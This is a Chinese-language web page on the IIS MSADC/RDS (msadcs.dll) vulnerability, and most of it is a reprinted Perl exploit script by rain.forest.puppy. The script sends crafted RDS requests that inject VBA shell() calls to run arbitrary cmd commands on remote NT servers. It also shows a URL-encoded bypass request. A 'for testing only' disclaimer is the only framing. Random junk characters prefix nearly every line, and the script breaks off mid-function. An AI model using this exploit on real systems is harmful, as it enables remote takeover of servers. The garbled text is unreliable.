IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ICz:>4M-dn }k.yLcXM 涉及程序:
O1\4WG% Microsoft NT server
* K$U[$s 1V]ws}XW 描述:
&j~9{ C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`a52{Wa v{$?Ow T/u 详细:
fTpG>*{p 如果你没有时间读详细内容的话,就删除:
[Q:mq=<Z% c:\Program Files\Common Files\System\Msadc\msadcs.dll
;'Hu75ymo 有关的安全问题就没有了。
;39b.v\^ ]-t>F 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
(1cB Tf 1>[#./@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
8Dl(zY K; 关于利用ODBC远程漏洞的描述,请参看:
.<vXj QE .(/HU Qn http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [f:&aS+ }8AH/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
dG+$!*6Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp TfJ*G6\7e# wdt2T8`I/ 这里不再论述。
BEax[=&W G(?1 Urxi 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
4RctYMz #do%u"q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8g:VfzaHu 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
^>%.l'1/( %AJ9fs4/ T-yEn&r4) #将下面这段保存为txt文件,然后: "perl -x 文件名"
ie[X7$@ PZru:.Mh #!perl
<o9i;[+H- #
,){#J"W # MSADC/RDS 'usage' (aka exploit) script
:' 5J[]J #
Z79 6;qk # by rain.forest.puppy
dn}EM7:Z #
]@21K O # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=}tomN(F~[ # beta test and find errors!
x~uDCbL /tG as use Socket; use Getopt::Std;
`3jwjy|5 getopts("e:vd:h:XR", \%args);
_Q Hk&-Lp ] 7[#K^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)?OdD7gd cQxUEY('+ if (!defined $args{h} && !defined $args{R}) {
(;=|2N>7 print qq~
X]9<1[f Usage: msadc.pl -h <host> { -d <delay> -X -v }
lO|LvJyx -h <host> = host you want to scan (ip or domain)
Ax\d{0/oL2 -d <seconds> = delay between calls, default 1 second
EdqB4-#7 -X = dump Index Server path table, if available
%CYo,
e -v = verbose
:FU?vh$) -e = external dictionary file for step 5
MCTJ^ g"D F5+FO^3E Or a -R will resume a command session
x>mI$K(6M 7bbFUUUG" ~; exit;}
ugXDnM[S% *tT}N@<% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9i 9
,X^= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x6JV@wA& if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
qLX<[UL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&n8Ja@Y] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
h{_\okC> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'_7rooU9 \"RCJadK if (!defined $args{R}){ $ret = &has_msadc;
\tvL<U"' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
b{-"GqMO BI%~0Gj8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(Nz`w . "cmd /c ";
e(0cz6 $in=<STDIN>; chomp $in;
ks phO- $command="cmd /c " . $in ;
Eo^m; p5 ,6MJW#~] if (defined $args{R}) {&load; exit;}
+1yi{!j1 !%}n9vr!}\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G"m0[|XH &try_btcustmr;
V,VL?J\ (y?F8]TfM print "\nStep 2: Trying to make our own DSN...";
u59l)8= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+\%]<YO <]%6x[ print "\nStep 3: Trying known DSNs...";
iex%$> " &known_dsn;
Jb$G [G|(E print "\nStep 4: Trying known .mdbs...";
#r"|%nOfY &known_mdb;
1E||ft-1i* ?5ZvvAi if (defined $args{e}){
(||qFu9a print "\nStep 5: Trying dictionary of DSN names...";
~vpF|4Zn5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*XWu) >*o a%HNz_ro print "Sorry Charley...maybe next time?\n";
R0#scr exit;
I:oEt R#ZJLT ##############################################################################
rxMo7px@}I A)!W VT&2A sub sendraw { # ripped and modded from whisker
TlyBpG=p sleep($delay); # it's a DoS on the server! At least on mine...
Bi;a~qE my ($pstr)=@_;
YR~e_cA: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1; kMbl] die("Socket problems\n");
EI?8/c if(connect(S,pack "SnA4x8",2,80,$target)){
3}phg select(S); $|=1;
9&zR
i print $pstr; my @in=<S>;
Z-ci[Zv select(STDOUT); close(S);
iJ*Wsp return @in;
]Oo!>iTQi } else { die("Can't connect...\n"); }}
'^WR5P<8c >{~xO 6H ##############################################################################
zb[kRo&a0W
7;'UC',' sub make_header { # make the HTTP request
Bx}"X?%S my $msadc=<<EOT
ZBY}Mz$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Z)~?foe' User-Agent: ACTIVEDATA
6A5.n?B{ Host: $ip
&@|? % Content-Length: $clen
{_.(,Z{ Connection: Keep-Alive
X1}M_h% 5"3`ss<m ADCClientVersion:01.06
or;VmU8$zb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
BHgs, FVP,$ --!ADM!ROX!YOUR!WORLD!
,-EN{ed Content-Type: application/x-varg
Yyd}>+|<, Content-Length: $reqlen
Zp_j\B '
ZTRl+ EOT
yVn%Bz'
[ ; $msadc=~s/\n/\r\n/g;
`g(#~0R return $msadc;}
_a"|
:kX CpX[8>&osD ##############################################################################
Fq+Cr?- t'W6Fmwkx sub make_req { # make the RDS request
rttKj{7E my ($switch, $p1, $p2)=@_;
[D+PDR my $req=""; my $t1, $t2, $query, $dsn;
2w1Mf<IXPo <x;g9Z>( if ($switch==1){ # this is the btcustmr.mdb query
Ym]g0a $query="Select * from Customers where City=" . make_shell();
|mWSS'7fI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x2I|iA = $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O(0a l#Fvj BOvJEs!UX elsif ($switch==2){ # this is general make table query
f`>\bdz $query="create table AZZ (B int, C varchar(10))";
tQ'R(H` $dsn="$p1";}
@pv:uON\ Qz{Vl>" elsif ($switch==3){ # this is general exploit table query
BSSehe* $query="select * from AZZ where C=" . make_shell();
:u=y7[I $dsn="$p1";}
Z(4/;v <CT ]CS
N7Q+l elsif ($switch==4){ # attempt to hork file info from index server
u}R|q $query="select path from scope()";
MxGQM> $dsn="Provider=MSIDXS;";}
/#_[{lSr? l1 08.ao elsif ($switch==5){ # bad query
r
SoT]6/ $query="select";
x?0(K=h, $dsn="$p1";}
Lnn^j#n ^HP$r* $t1= make_unicode($query);
MGwXZ7?E $t2= make_unicode($dsn);
t*BCpC} $req = "\x02\x00\x03\x00";
30Q77,Nsny $req.= "\x08\x00" . pack ("S1", length($t1));
5$Kv%U $req.= "\x00\x00" . $t1 ;
.|L9}< $req.= "\x08\x00" . pack ("S1", length($t2));
60>g{1] $req.= "\x00\x00" . $t2 ;
loq2+( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^5 "yY2}- return $req;}
vft7-|8T &];W#9"Z ##############################################################################
#|:q"l9 #X!seQ7a sub make_shell { # this makes the shell() statement
*}(B"FSO return "'|shell(\"$command\")|'";}
r_']; !.@:t`w ##############################################################################
4^Ks!S>K{8 T DPQ+Kg_ sub make_unicode { # quick little function to convert to unicode
G6Wa0Z my ($in)=@_; my $out;
@wAYhnxq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
k-s|gC4 return $out;}
cqZlpm$c Zmk 9C@ ##############################################################################
c(3idO*R) 2"Unk\Y sub rdo_success { # checks for RDO return success (this is kludge)
yswf2F my (@in) = @_; my $base=content_start(@in);
V*%><r if($in[$base]=~/multipart\/mixed/){
1)N# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
NgxJz
]b return 0;}
)
AGE"M3X HPO:aGU ##############################################################################
tg/!=g Uul5h8F sub make_dsn { # this makes a DSN for us
Y3)*MqZlF my @drives=("c","d","e","f");
Lq@uwiq! print "\nMaking DSN: ";
Iz#jR2:yn foreach $drive (@drives) {
JGzEm>_m print "$drive: ";
T`I4_x my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!14v Ovj4{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
cZ.p . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@v/Ae_q! $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&;vMJ return 0 if $2 eq "404"; # not found/doesn't exist
a[!:`o1U if($2 eq "200") {
V2 ;? foreach $line (@results) {
pnv)D}" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sFgsEKs } return 0;}
8jky-r X1u\si%.4S ##############################################################################
&,/-<y-S h2+"e# _ sub verify_exists {
H}usL)0&& my ($page)=@_;
e5n"(s"G*[ my @results=sendraw("GET $page HTTP/1.0\n\n");
+rrA>~ return $results[0];}
FB~IO#E8W G)3r[C^[k ##############################################################################
?FZ)
LZM mI^S% HT sub try_btcustmr {
5]3Mj*u\ my @drives=("c","d","e","f");
uD4W@*PYr my @dirs=("winnt","winnt35","winnt351","win","windows");
+-hfl/$ -7I%^u foreach $dir (@dirs) {
6LT.ng print "$dir -> "; # fun status so you can see progress
bSTTr<W foreach $drive (@drives) {
z=rSb4"W print "$drive: "; # ditto
>8`;SEnv $reqlen=length( make_req(1,$drive,$dir) ) - 28;
mLHl]xs4 $reqlenlen=length( "$reqlen" );
%~Wr/TOt+ $clen= 206 + $reqlenlen + $reqlen;
!i{5mc\ [RDY(}P% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
V)oKsO if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'?mky,:HT else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Q'^$;X~-< [XA:pj;rg' ##############################################################################
B-$ps=G+z }qhND-9#@ sub odbc_error {
OR10IS my (@in)=@_; my $base;
"@xL9[d my $base = content_start(@in);
*>lXCx if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`7 Nk; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!,DA`Yt $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Qz<i{r-z $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jq/ CXYv return $in[$base+4].$in[$base+5].$in[$base+6];}
wI[J> 9Qn print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z Hl+P*) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
mP
+H
C)2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%LnG^L kxY9[#:<fB ##############################################################################
;l@Ge`&u <+<,$jGC- sub verbose {
v +?'/Q% my ($in)=@_;
GRgpy return if !$verbose;
)Y=ti~?M( print STDOUT "\n$in\n";}
}A<fCm7 7"])Y ##############################################################################
G/_8xmsU ]rO/IuB sub save {
VQ2B|v my ($p1, $p2, $p3, $p4)=@_;
o~'UWU'# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~2XiKY;W? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9@
^*\s close OUT;}
OL@' 1$/A mGUG ##############################################################################
cN:ek|r !!v9\R4um sub load {
Q3LScpp my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l]5!$N* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
((fFe8Rn)q @p=<IN>; close(IN);
C7MCMM|S $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7}Jn`^! $target= inet_aton($ip) || die("inet_aton problems");
)5s-"o< print "Resuming to $ip ...";
T FK#ign $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
HhUk9 >7 if($p[1]==1) {
tHH @[E+h $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
t)l^$j!h@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
chU,));F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3hR3)(+1 if (rdo_success(@results)){print "Success!\n";}
04!akPP< else { print "failed\n"; verbose(odbc_error(@results));}}
+tv"j;z elsif ($p[1]==3){
SiT5QJe if(run_query("$p[3]")){
J~5+=V7OV print "Success!\n";} else { print "failed\n"; }}
|+aD%'| elsif ($p[1]==4){
IOH6h= if(run_query($drvst . "$p[3]")){
/|[%~`?BM print "Success!\n"; } else { print "failed\n"; }}
%T~LK=m exit;}
t&(\A,ch% N6/;p]| ##############################################################################
wgKM6? 0F[+rh"x sub create_table {
U 0dhr; l my ($in)=@_;
X}]g;|~SN $reqlen=length( make_req(2,$in,"") ) - 28;
FzQ6UO~' $reqlenlen=length( "$reqlen" );
Z}r9jM $clen= 206 + $reqlenlen + $reqlen;
9Qc=D"' my @results=sendraw(make_header() . make_req(2,$in,""));
~qb-uT\(99 return 1 if rdo_success(@results);
24d{ol) my $temp= odbc_error(@results); verbose($temp);
@Yzb6@g" return 1 if $temp=~/Table 'AZZ' already exists/;
y6Ea_v return 0;}
TZE;$:1vx> +(o]E3 ##############################################################################
Vs&Ul6@N
.v#Tj|w^ sub known_dsn {
q<Wz9lDMNR # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
2!6-+]tC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]=sGLd^)E "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`g,i`< "banner", "banners", "ads", "ADCDemo", "ADCTest");
/8s>JPXKH[ KA]5tVQA foreach $dSn (@dsns) {
qfB!)Y print ".";
Vg1MA next if (!is_access("DSN=$dSn"));
d)v'K5 if(create_table("DSN=$dSn")){
MVe4[< print "$dSn successful\n";
\yA*)X+ if(run_query("DSN=$dSn")){
SQI =D8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#9@UzfZAwT print "Something's borked. Use verbose next time\n";}}} print "\n";}
- f%J_` .Gnzu"lod ##############################################################################
)ZDqj 1H7bPl| sub is_access {
690;\O ' my ($in)=@_;
Zl=IZ?F
$reqlen=length( make_req(5,$in,"") ) - 28;
'FmnlC1 $reqlenlen=length( "$reqlen" );
9':MD0P/M $clen= 206 + $reqlenlen + $reqlen;
{s~t>R p+ my @results=sendraw(make_header() . make_req(5,$in,""));
]*pro| my $temp= odbc_error(@results);
&l